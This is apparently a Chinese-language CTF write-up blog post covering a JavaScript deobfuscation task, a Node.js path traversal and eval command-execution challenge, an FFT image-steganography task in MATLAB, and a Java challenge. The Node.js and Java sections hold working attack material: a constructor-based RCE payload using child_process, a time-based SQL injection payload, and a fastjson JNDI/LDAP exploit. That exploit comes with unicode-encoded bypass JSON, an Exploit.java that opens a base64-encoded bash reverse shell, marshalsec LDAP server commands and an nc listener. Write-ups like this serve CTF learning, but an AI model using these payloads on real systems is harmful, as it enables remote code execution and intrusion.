ez-game
点开后看到是js调用游戏,就直接去game.js看js源码,全都看了一遍之后,没有看到直接标明flag的。仔细看中间有一段加密在16进制解码后,看到filter字样,就可以猜到这下面一整段js代码是被加密在里面了,而sojson.v4就标在了旁边,搜一下解码方式https://www.yyob.com/318.html,按照其所说,把['sojson.v4']壳去了,在控制台下解码就可以清楚看到flag了

native
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);//这里有任意文件读取
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
package.json(定义项目所需要的各种模块,项目配置信息,在根目录下)
https://javascript.ruanyifeng.com/nodejs/packagejson.html#toc1
package.json详细解释,下面只把几个这里见到的列举一下
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": { //scripts🈯️运行脚本命令npm命令行缩写
"start": "node src/index.js", //npm run start所执行命令
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": { //指定项目运行所依赖的模块
"bindings": "^1.5.0",//模块名:版本 ^表示不大于大版本号
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {//指定项目开发所需要的模块
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2", //本题需要利用的插件
"prettier": "^2.0.5"
}
}
这里附跟随wp找到的官方文档

至于N-API
N-API 是用于构建本机插件的API。 它独立于底层 JavaScript 运行时(例如 V8),并作为 Node.js 本身的一部分进行维护。 此 API 将是跨 Node.js 版本的应用程序二进制接口(Application Binary Interface,ABI)稳定版。 它旨在将插件与底层 JavaScript 引擎中的更改隔离开来,并允许为一个版本编译的模块在更高版本的 Node.js 上运行而无需重新编译。 插件使用本文档中概述的相同方法/工具(node-gyp 等)构建/打包。 唯一的区别是原始代码使用的 API 集。 不使用 V8 或 Node.js 的原生抽象,而是使用 N-API 中可用的功能。
好了,到此为止,下面都是re看不懂了,抄一下别人的wp
拿到一个elf文件,web狗看不懂,丢给会逆向的同学拿到了密钥
yoshino-s_want_a_gf,qq1735439536
接下来根据官方的wp,要去构造eval的命令执行
{
"type": "module"
}
这里的module是把javascript的导入模块改为ES6
“ES6 模块和 CommonJS 模块有很大的差异。“
“语法上面,CommonJS 模块使用require()加载和module.exports输出,ES6 模块使用import和export。”
所以require方法就不能用
try {
if (addon.verify(code)) { //这里要输入逆向得到的密钥
res.send(String(eval_(parse(e)))); //这里命令执行
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
(1).constructor.constructor("return import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/4.js\");})")();
(1):应该是对象,可以用ture代替,亲测有效,原因https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor
constructor:提供获取构造方法信息,生成实例
child_process模块是nodejs的子进程模块,并能执行shell命令
这里附上调用execSync方法的官方连接http://nodejs.cn/api/child_process.html#child_process_child_process_execsync_command_options
语句语法构造原理(动态加载模块):
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules
misc
下载文件后就有fft的提示,再搜一下图片隐写,本来是需要原图进行傅立叶变换来得到盲水印,但是这里只有一张图,所以就对这张图进行傅立叶变换,用matlab
img=imread('Desktop/FFT.png');
subplot(2,2,1);imshow(img);title('原图');
f=im2double(img); %对于RGB图像必须做的一步,也可以用im2double函数
F=fft2(f); %傅里叶变换
F1=log(abs(F)+1); %取模并进行缩放
subplot(2,2,2);imshow(F1,[]);title('傅里叶变换频谱图');
Fs=fftshift(F); %将频谱图中零频率成分移动至频谱图中心
S=log(abs(Fs)+1); %取模并进行缩放
subplot(2,2,3);imshow(S,[]);title('频移后的频谱图');

realezjvav
先把笛卡尔积理解一下
https://baike.baidu.com/item/笛卡尔乘积/6323173?fromtitle=笛卡尔积&fromid=1434391&fr=aladdin
看一下最前面的定义就好了
http://www.360doc.com/content/14/1229/21/7635_436727229.shtml
再去理解一下sql中的笛卡尔积实现,看到内连接外连接应该就好了,毕竟只要了解一下。
然后,附上笛卡尔积注入脚本,其原理是如果if中盲注条件(截取字符)成立,则执行后面的笛卡尔积语句,导致响应时间很长
#payload = '''yyy' or (if((ascii(substr((SELECT group_concat(table_name)FROM information_schema.tables WHERE table_schema=database()),{0},1))={1}),(SELECT count(*) FROM information_schema.tables A,information_schema.cloums B,information_schema.columns C),1))#'''.format(i,j).replace(' ','/**/')
中间的黄色部分是可以自己修改的,根据成功或者失败时间差值大小来更改3个表或更多,来让自己塞选出需要。
脚本不放了,直接copy的,很容易跑出来,就是注意要附上/user/login的跳转
no_0ne_kn0w_th1s

//好了,去学java了
再更新!
在html源码中发现图片的链接

这里就可以找到图片的目录,并且发现目录读取
searchimage?img=../../../../../pom.xml
在创建角色时抓包,可以知道时json方法。
先学习一点spring框架基础知识
Spring 是另一个主流的 Java Web 开发框架Spring目录介绍:docs:包含 Spring 的 API 文档和开发规范 libs:包含开发需要的 JAR 包和源码包 schema:包含开发所需要的 schema 文件,在这些文件中定义了 Spring 相关配置文件的约束IoC 是指在程序开发中,实例的创建不再由调用者管理,而是由 Spring 容器创建。Spring 容器会负责控制程序之间的关系,而不是由程序代码直接控制,因此,控制权由程序代码转移到了 Spring 容器中,控制权发生了反转,这就是 Spring 的 IoC 思想 创建 BeanFactory 实例时,需要提供 Spring 所管理容器的详细配置信息,这些信息通常采用 XML 文件形式管理。 BeanFactory 和 ApplicationContext 都是通过 XML 配置文件加载 Bean 的。
//searchimage?img=../../../../../pom.xml
下面的文件结构(手绘)解释一下为什么要用5个上级目录
文件结构 //开头数字为级数 1.src; 2.----main; 3.------resources; 4.---------resourses; 5.---------static;// 保存静态文件(js css image) 5.---------templates;//保存模版页面 5.---------application.properties;//SpringBoot的应用配置文件 1.pom.xml;
pom.xml的内容:
该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。
抓包看pom.xml
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> //fastjson漏洞 <version>1.2.27</version> //满足< 1.2.68 版本要求 </dependency>
因为漏洞中利用到了"RMI/LDAP"两个协议,补充一下知识:
JNDI:
java提供的java命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象
JNDI默认支持自动转换的协议有LDAP协议P协LDAPO议RMI:Remote Method Invocation,远程方法调用
详情调用如下:
LDAP:
一种通讯协议,支持TCP/IP ,有client端和server端
先放出payload:
在登陆后,创建角色/create(抓包)这是bp抓包改post roleJson的内容,需要用unicode编码绕过一下
//尚未unicode的post内容:
roleJson={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://159.72.75.126:1234/Exploit","autoCommit":true}}}
//unicode后的post内容:
roleJson={"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://159.72.75.126:1234/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}}
准备exp
构建一个Exploit.java
public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec(
"bash -c
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4L3BvcnQyIDA+JjEK}|{base64,-d}|{bash,-i}");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
//中间base64加密的地方解密后是:
bash -i >&/dev/tcp/xx.xx.xx.xx/port2 0>&1
xx.xx.xx.xx对应你的vps的ip
port2(我用的1300)是你的vps用来反弹shell的端口,比如,我开的是1300
javac Exploit.java //得到Exploit.class文件
vps部署ldap
//在exp的同目录下准备好marshalsec-0.0.3-SNAPSHOT-all.jar,这玩意在github上
//https://github.com/CaijiOrz/fastjson-1.2.47-RCE
cd marshalsec-master
//进入marshalsec目录
mvn clean package -DskipTests
//输入后等待下载部署完毕,还是要等好一会的
//然后回到上级exp目录
python3 -m http.server 1238 //这个web服务是一定要开的,端口可任意改,注意要在vps管理端口的地方把它打开。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://159.75.72.126:1238/#Exploit" 1234
//在上面这一步卡了很久,因为IP:1238这个地方一定要写刚用py开的web端口号,后面的1234端口是ldap的端口,需要和post的payload里面的ip端口对应
nc -lvp 1300 //反弹shell的常规操作
//如果出现-lvp报错需要参数的问题,更新或重新下载就好了
//然后发送post就好了
app@xxxxx:~$cat /flag*
以上是简单的操作步骤,原理正在学习(
Comments | NOTHING